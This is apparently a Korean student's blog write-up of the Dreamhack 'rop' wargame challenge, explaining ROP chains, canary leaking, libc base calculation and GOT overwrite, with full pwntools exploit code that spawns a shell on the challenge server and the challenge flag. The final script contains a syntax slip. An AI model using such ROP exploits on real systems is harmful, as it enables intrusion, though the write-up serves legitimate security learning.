[ Dreamhack ] rop
ROP(Return Oriented Programming)
ASLR이 걸린 환경에서 system 함수를 사용하려면 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system 함수의 오프셋을 이용하여 함수의 주소를 계산해야한다. ROP는 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법이다.
ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고 불린다.
페이로드 작성 과정을 보면,, chain이라고 한 이유가 다 있다....
문제 들어가기 전 복습
1. plt에는 got 엔트리의 주소가 적혀있고 got에는 해당 함수의 실제 주소가 적혀있다.
2. ASLR이 적용되면 실행할 때마다 스택, 힙, libc_base의 주소가 바뀐다.
이 문제는 100프로 완벽하게 이해 못해서.. 꾸역꾸역 이해하면서 쓴 글이라 틀렸거나 잘못된 부분이 있을 수 있습니다.
피드백이 필요한 부분이 있다면 알려주셨으면 합니다.
문제 코드
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
rtl 문제 코드와 다른 점은 system 함수를 호출하지 않는 다는 것이다. 그리고 "/bin/sh" 문자열도 데이터 섹션에 기록하지 않았다.
첫 번째 read에서 canary 값을 구할 수 있다.
두 번째 read에선 오버플로우를 일으킬 수 있다.
rlt 문제에서는 리턴 가젯을 이용해서 system()함수의 plt 주소로 rip를 설정해주어 system()함수를 실행했었다.
이 문제에서는 system() 함수가 plt table에 없기 때문에 바로 system()함수를 이용해 shell을 얻을 수 없다.
이럴 때 rop를 사용한다!
코드 분석은 여기까지 하고 checksec으로 보호기법을 확인한다.
x86-64 아키텍처에 ->canary가 8바이트겠군
canary있고
NX도 적용되어있다.
기본 설계
1. system 함수의 주소 계산
이 바이너리에서 호출하는 함수들은 "libc.so.6"에 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, system 함수도 프로세스 메모리에 같이 올라간다.
그러나! 바이너리가 system함수를 직접 호출하지 않으므로, GOT에는 system함수의 주소가 없다.
However! read, puts, printf, write 등의 함수는 GOT에 등록되어있다. 각 함수 사이의 오프셋은 항상 일정하므로, 이 함수들과 system함수와의 오프셋을 이용하여 system함수의 주소를 구할 수 있을 것이다.
= 세 개의 함수 중 하나를 이용해 해당 함수의 GOT 값을 읽어서 어느 위치에 있는지 실제 주소를 구하면 해당 주소가 libc.so.6이 매핑된 영역의 base 주소이고, 해당 base주소에 system 함수의 오프셋을 더하면 system함수의 주소를 얻을 수 있다.
그리고 이때 사용할 수 있는 것이 pwntools에서 ELF Object의 기능 중 symbols라는 기능이 있는데, 이는 libc의 시작 주소가 0이라는 것을 가정하고 0부터 시작하여 offset을 알고 싶어하는 함수의 offset 값을 알려준다.
사용법
libc = ELF('./libc.so.6')
libc.symbols["system"]
2. "/bin/sh" 삽입
rop 바이너리의 데이터 세그먼트에는 "/bin/sh" 문자열이 없다. 따라서 우리가 사용할 수 있는 방법에는 두 가지가 있다.
a. 이 문자열을 임의 버퍼에 직접 주입하여 참조한다.
b. 다른 파일에 포함된 것을 사용한다.(예; "/bin/sh" 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다.)
a 방법을 사용할 것이다.
3. GOR Overwrite
함수를 호출하는 과정은 다음과 같다.
a. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.(동적 링크)
b. 찾은 주소를 GOT에 적고, 이를 호출한다,
c. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다. -> 여기서 적힌 주소를 변조해서 공격할 수 있다.
Exploit
1. canary 값 구하기
# leak canary
buf = b'a' * 0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
cnry = hex(u64(b'\x00' + p.recvn(7)))
print(cnry)
canary 값을 구하는 과정은 rtl 문제풀이에 있다.
2.system 함수의 주소 계산
먼저 elf object의 symbols 기능을 이용해 read함수와 system함수의 오프셋을 구한다,
그리고 read() 함수의 got를 읽어, read() 함수의 GOT값(read 함수의 실제 주소)에서 read함수의 오프셋 값을 빼면 library의 base 주소를 알 수 있다.
library base add + offset = real add of func
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853 #ROPgadget --binary ./rop --re "pop rdi"
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596 #ROPgadget --binary ./rop
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
read()함수의 GOT값을 write()함수를 이용해 출력하는 페이로드를
문자열 "Buf: " 뒤에 전송한 후
받은 데이터에서 6바이트를 가져오고 \x0000을 붙여 read에 저장한다,
구한 read GOT 값에서 read() 함수의 offset 값을 빼 libc의 base 주소를 lb에 담은 뒤
system() 함수의 오프셋을 더해 system()함수의 실체 주소를 system에 담는다.
read 변수에 담을 때 6바이트만 가져와서 \x0000를 불이는 이유는 library의 시작 주소 맨 앞 2바이트는 0x0000이기 때문이다.
3.GOT Overwrite 및 "/bin/sh" 입력
"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력하여 그 위치를 rdi가 갖게 하면 된다. 그리고 read() 함수의 GOT 값을 system() 함수의 실제 주소로 변경하여 read() 함수가 재호출될 때 sysetm() 함수가 호출되게 유도하면 된다.
이 바이너리에서는 입력을 위해 read(fd,buf,크기) 함수를 사용할 수 있다. fd(0이면 입력), buf, 크기(입력 길이) 이렇게 3개의 인자가 필요하다.
x86-64니까 설정해야 하는 레지스터는 순서대로 rdi,rsi, rdx이다. 여기에 대한 설명은 https://minvers0919.tistory.com/m/13
앞의 두 인자 rdi, rsi는 pop rdi; ret 가젯과 pop rsi; pop r15; ret 가젯으로 설정할 수 있지만, 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 힘들다.
이 ROP 바이너리 뿐만 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기가 어렵다.
이럴 때는 libc의 코드 가젯으로 해결할 수 있다.
이 rop 문제에서는 read 함수의 GOT를 읽은 후 rdx의 값이 매우 크게 설정되기 때문에 따로 rdx를 설정하는 가젯을 추가하지 않아도 된다.
최종적으로 read 함수, pop rdi; ret, pop rsi; pop r15; ret 가젯을 이용해 read 함수의 GOT 값을 system() 함수의 실제 주소로 덮으면, RTL 문제에서와 같이 system("/bin/sh")를 실행할 수 있게 된다.
그리고 read 함수의 GOT 주소에 0x8을 더한 위치에 "/bin/sh" 문자열을 쓰도록 익스플로잇을 작성하여 read_GOT + 0x8 위치에 "/bin/sh" 문자열을 넣은 후
read 함수, pop rdi, ret 가젯, "/bin/sh"의 주소(read_got + 0x8)를 이용해 셸을 획득하는 익스플로잇을 작성한다.
Exploit code
from pwn import*
def slong(name, addr): return success(': '.join([name, hex(addr)]))
p=remote("host3.dreamhack.games", 14720)
e=ELF("./rop")
libc=ELF("./libc.so.6")
#cnry
payload = b'a'*0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
cnry = u64(b'\x00' + p.recvn(7))
slong('canary', cnry)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi=0x0000000000400853
pop_rsi_r15=0x0000000000400851
ret=0x0000000000400596
# bypass canary
payload = b'a' * 0x38 + p64(cnry) + b'b' * 0x08
#write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15)+p64(read_got)+p64(0)
payload += p64(write_plt)
#read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
#read("/bin/sh") = system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read'] # libc base addr
system = lb + libc.symbols['system'] # real addr of system()
slong('read', read)
slong('libc_base', lb)
slong('system', system
p.send(p64(system) + b"/bin/sh\x00")
p.interactive()
여기서
코드를 조금 쪼개서 말하자면,
read() 함수의 GOT 값이 변경되도록 사용자에게 입력받는 부분
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
여기서는 read() 함수의 첫 번째 인자(rdi)와 두 번째 인자(rsi) 만 정해주고 있다.
read() 함수의 GOT 값이 system() 함수의 실제 주소로 바뀐다.(게시글 마지막에 스택으로 요약한 그림 참고)
read() 함수를 재호출하여 system()함수가 호출되도록 하는 부분
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi) + p64(read_got + 0x8) + p64(read_plt)
바로 전 단계에서 read() 함수의 GOT 값을 system() 함수의 실제 주소로 바꿨기 때문에, 여기서 read() 함수를 호출을 하면 system() 함수가 호출될 것이다.
read() 함수의 GOT 값을 system() 함수의 실제 주소로 변경하고 read_got + 0x8 위치에 "/bin/sh" 문자열 넣기
p.send(p64(system) + b"/bin/sh\x00")
위의 코드가 실행해되면서 read() 함수의 GOT은 system()함수의 실체 주소로 바뀌고 , 오버 플로우로 "/bin/sh" 문자열까지 넣는다.
여기서 전송되는 system()함수의 실제 주소와 "/bin/sh" 문자열은 위에서 read() 함수의 GOT 값이 변경되도록 사용자에게 입력받는 read() 함수의 입력값으로 전송된다.
Stack
위의 코드가 적용된 스택 그림이다
Flag
flag : DH{68b82d23a30015c732688c89bd03d401}
너무 어렵다... 이것만 이틀을 공부했다... 그래도 모자라다.. 계속 보면서 이해해야지 ㅠㅠㅠ